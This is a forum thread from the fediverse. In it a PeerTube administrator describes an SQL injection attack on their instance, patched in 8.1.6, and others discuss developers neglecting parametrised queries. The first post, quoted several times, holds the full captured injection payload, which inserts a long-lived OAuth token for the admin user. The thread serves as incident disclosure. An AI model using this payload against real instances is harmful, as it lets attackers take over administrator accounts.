Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (Cyborg)
  • No Skin
Collapse
Brand Logo

CIRCLE WITH A DOT

  1. Home
  2. Uncategorized
  3. Today's fun adventure with #peertube involves the #exploit fixed in 8.1.6.

Today's fun adventure with #peertube involves the #exploit fixed in 8.1.6.

Scheduled Pinned Locked Moved Uncategorized
peertubeexploitinfosec
8 Posts 2 Posters 0 Views
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • apz@some.apz.fiA This user is from outside of this forum
    apz@some.apz.fiA This user is from outside of this forum
    apz@some.apz.fi
    wrote last edited by
    #1

    Today's fun adventure with #peertube involves the #exploit fixed in 8.1.6. This one has an SQL injection hole. Looks like they got into mine, but apparently nothing was done to it yet. If you're curious, here's what the exploit pushed in the actor table:

    Xhttp://20.240.202.159:8777/x');DO//$f$//DECLARE//uid//INT;//cid//INT;//BEGIN//EXECUTE//'SELECT//id//FROM//'||quote_ident('user')||'//WHERE//role=0//LIMIT//1'//INTO//uid;//EXECUTE//'SELECT//id//FROM//'||quote_ident('oAuthClient')||'//LIMIT//1'//INTO//cid;//EXECUTE//'INSERT//INTO//'||quote_ident('oAuthToken')||'('||quote_ident('accessToken')||','||quote_ident('refreshToken')||','||quote_ident('accessTokenExpiresAt')||','||quote_ident('refreshTokenExpiresAt')||','||quote_ident('userId')||','||quote_ident('oAuthClientId')||','||quote_ident('createdAt')||','||quote_ident('updatedAt')||')//VALUES('||quote_literal('pt_audit_3e8b97f2a914')||','||quote_literal('refresh_pt_audit_3e8b97f2a914')||','||quote_literal('2030-01-01')||','||quote_literal('2030-01-01')||','||uid||','||cid||',NOW(),NOW())';//END//$f$;--

    So this worked because they had a ' after the URL. #infosec

    apz@some.apz.fiA ghard@mastodon.socialG 3 Replies Last reply
    1
    0
    • apz@some.apz.fiA apz@some.apz.fi

      Today's fun adventure with #peertube involves the #exploit fixed in 8.1.6. This one has an SQL injection hole. Looks like they got into mine, but apparently nothing was done to it yet. If you're curious, here's what the exploit pushed in the actor table:

      Xhttp://20.240.202.159:8777/x');DO//$f$//DECLARE//uid//INT;//cid//INT;//BEGIN//EXECUTE//'SELECT//id//FROM//'||quote_ident('user')||'//WHERE//role=0//LIMIT//1'//INTO//uid;//EXECUTE//'SELECT//id//FROM//'||quote_ident('oAuthClient')||'//LIMIT//1'//INTO//cid;//EXECUTE//'INSERT//INTO//'||quote_ident('oAuthToken')||'('||quote_ident('accessToken')||','||quote_ident('refreshToken')||','||quote_ident('accessTokenExpiresAt')||','||quote_ident('refreshTokenExpiresAt')||','||quote_ident('userId')||','||quote_ident('oAuthClientId')||','||quote_ident('createdAt')||','||quote_ident('updatedAt')||')//VALUES('||quote_literal('pt_audit_3e8b97f2a914')||','||quote_literal('refresh_pt_audit_3e8b97f2a914')||','||quote_literal('2030-01-01')||','||quote_literal('2030-01-01')||','||uid||','||cid||',NOW(),NOW())';//END//$f$;--

      So this worked because they had a ' after the URL. #infosec

      apz@some.apz.fiA This user is from outside of this forum
      apz@some.apz.fiA This user is from outside of this forum
      apz@some.apz.fi
      wrote last edited by
      #2

      Apparently this was contained, the forementioned exploit to push the root auth tokens was the only thing. Apparently exploited instances get a plugin called peertube-plugin-google-analytics-js added to do something more or less funny, mine had nothing extra on it for now. Naturally all the passwords are now changed and everyone kicked out.

      The 8.1.8 release adds a feature to limit root user's usefulness in an attack like this.

      1 Reply Last reply
      2
      0
      • R relay@relay.infosec.exchange shared this topic
      • apz@some.apz.fiA apz@some.apz.fi

        Today's fun adventure with #peertube involves the #exploit fixed in 8.1.6. This one has an SQL injection hole. Looks like they got into mine, but apparently nothing was done to it yet. If you're curious, here's what the exploit pushed in the actor table:

        Xhttp://20.240.202.159:8777/x');DO//$f$//DECLARE//uid//INT;//cid//INT;//BEGIN//EXECUTE//'SELECT//id//FROM//'||quote_ident('user')||'//WHERE//role=0//LIMIT//1'//INTO//uid;//EXECUTE//'SELECT//id//FROM//'||quote_ident('oAuthClient')||'//LIMIT//1'//INTO//cid;//EXECUTE//'INSERT//INTO//'||quote_ident('oAuthToken')||'('||quote_ident('accessToken')||','||quote_ident('refreshToken')||','||quote_ident('accessTokenExpiresAt')||','||quote_ident('refreshTokenExpiresAt')||','||quote_ident('userId')||','||quote_ident('oAuthClientId')||','||quote_ident('createdAt')||','||quote_ident('updatedAt')||')//VALUES('||quote_literal('pt_audit_3e8b97f2a914')||','||quote_literal('refresh_pt_audit_3e8b97f2a914')||','||quote_literal('2030-01-01')||','||quote_literal('2030-01-01')||','||uid||','||cid||',NOW(),NOW())';//END//$f$;--

        So this worked because they had a ' after the URL. #infosec

        ghard@mastodon.socialG This user is from outside of this forum
        ghard@mastodon.socialG This user is from outside of this forum
        ghard@mastodon.social
        wrote last edited by
        #3

        @apz It’s not like RDBMS didn’t have parametrised queries since, like, the dawn of time 🙄

        apz@some.apz.fiA 1 Reply Last reply
        0
        • ghard@mastodon.socialG ghard@mastodon.social

          @apz It’s not like RDBMS didn’t have parametrised queries since, like, the dawn of time 🙄

          apz@some.apz.fiA This user is from outside of this forum
          apz@some.apz.fiA This user is from outside of this forum
          apz@some.apz.fi
          wrote last edited by
          #4

          @ghard I think the battle trying to explain new developers the concept is already lost. I've explained the problem to couple of project owners and people just don't seem to take it seriously. It's not like it's one of the most basic exploits, ever on the web.

          ghard@mastodon.socialG 2 Replies Last reply
          1
          0
          • apz@some.apz.fiA apz@some.apz.fi

            @ghard I think the battle trying to explain new developers the concept is already lost. I've explained the problem to couple of project owners and people just don't seem to take it seriously. It's not like it's one of the most basic exploits, ever on the web.

            ghard@mastodon.socialG This user is from outside of this forum
            ghard@mastodon.socialG This user is from outside of this forum
            ghard@mastodon.social
            wrote last edited by
            #5

            @apz sigh yeah.
            I spent a few decades in the industry actually implementing relational database engines, and being at clients' premises with their "expert developers" and seeing them draw a blank when mentioning SQLPrepareStmt or similar...
            I don't even want to go there anymore. Now with the AI deskilling I'm expecting things to become even worse.
            Glad I dropped out and got to doing something more meaningful.

            1 Reply Last reply
            0
            • apz@some.apz.fiA apz@some.apz.fi

              @ghard I think the battle trying to explain new developers the concept is already lost. I've explained the problem to couple of project owners and people just don't seem to take it seriously. It's not like it's one of the most basic exploits, ever on the web.

              ghard@mastodon.socialG This user is from outside of this forum
              ghard@mastodon.socialG This user is from outside of this forum
              ghard@mastodon.social
              wrote last edited by
              #6

              @apz LOL very timely, just on that note, say hello to CVE-2026-9082
              Not that I would trust Drupal or any other modern or ancient CMS any longer than I could throw it.

              apz@some.apz.fiA 1 Reply Last reply
              0
              • ghard@mastodon.socialG ghard@mastodon.social

                @apz LOL very timely, just on that note, say hello to CVE-2026-9082
                Not that I would trust Drupal or any other modern or ancient CMS any longer than I could throw it.

                apz@some.apz.fiA This user is from outside of this forum
                apz@some.apz.fiA This user is from outside of this forum
                apz@some.apz.fi
                wrote last edited by
                #7

                @ghard Back like in early 00s I made my own. Very ghetto, but does everything I want it to do.

                "Spaghetti code!" they said.

                "It's not modern!"

                Well, the patching day for it isn't every day.

                1 Reply Last reply
                1
                0
                • apz@some.apz.fiA apz@some.apz.fi

                  Today's fun adventure with #peertube involves the #exploit fixed in 8.1.6. This one has an SQL injection hole. Looks like they got into mine, but apparently nothing was done to it yet. If you're curious, here's what the exploit pushed in the actor table:

                  Xhttp://20.240.202.159:8777/x');DO//$f$//DECLARE//uid//INT;//cid//INT;//BEGIN//EXECUTE//'SELECT//id//FROM//'||quote_ident('user')||'//WHERE//role=0//LIMIT//1'//INTO//uid;//EXECUTE//'SELECT//id//FROM//'||quote_ident('oAuthClient')||'//LIMIT//1'//INTO//cid;//EXECUTE//'INSERT//INTO//'||quote_ident('oAuthToken')||'('||quote_ident('accessToken')||','||quote_ident('refreshToken')||','||quote_ident('accessTokenExpiresAt')||','||quote_ident('refreshTokenExpiresAt')||','||quote_ident('userId')||','||quote_ident('oAuthClientId')||','||quote_ident('createdAt')||','||quote_ident('updatedAt')||')//VALUES('||quote_literal('pt_audit_3e8b97f2a914')||','||quote_literal('refresh_pt_audit_3e8b97f2a914')||','||quote_literal('2030-01-01')||','||quote_literal('2030-01-01')||','||uid||','||cid||',NOW(),NOW())';//END//$f$;--

                  So this worked because they had a ' after the URL. #infosec

                  apz@some.apz.fiA This user is from outside of this forum
                  apz@some.apz.fiA This user is from outside of this forum
                  apz@some.apz.fi
                  wrote last edited by
                  #8

                  Looking at my Peertube instances logs, there's A LOT of old versions out there. I think a log of instances seem to be install and forget when it comes to maintenance.

                  1 Reply Last reply
                  1
                  0
                  Reply
                  • Reply as topic
                  Log in to reply
                  • Oldest to Newest
                  • Newest to Oldest
                  • Most Votes


                  • Login

                  • Login or register to search.
                  • First post
                    Last post
                  0
                  • Categories
                  • Recent
                  • Tags
                  • Popular
                  • World
                  • Users
                  • Groups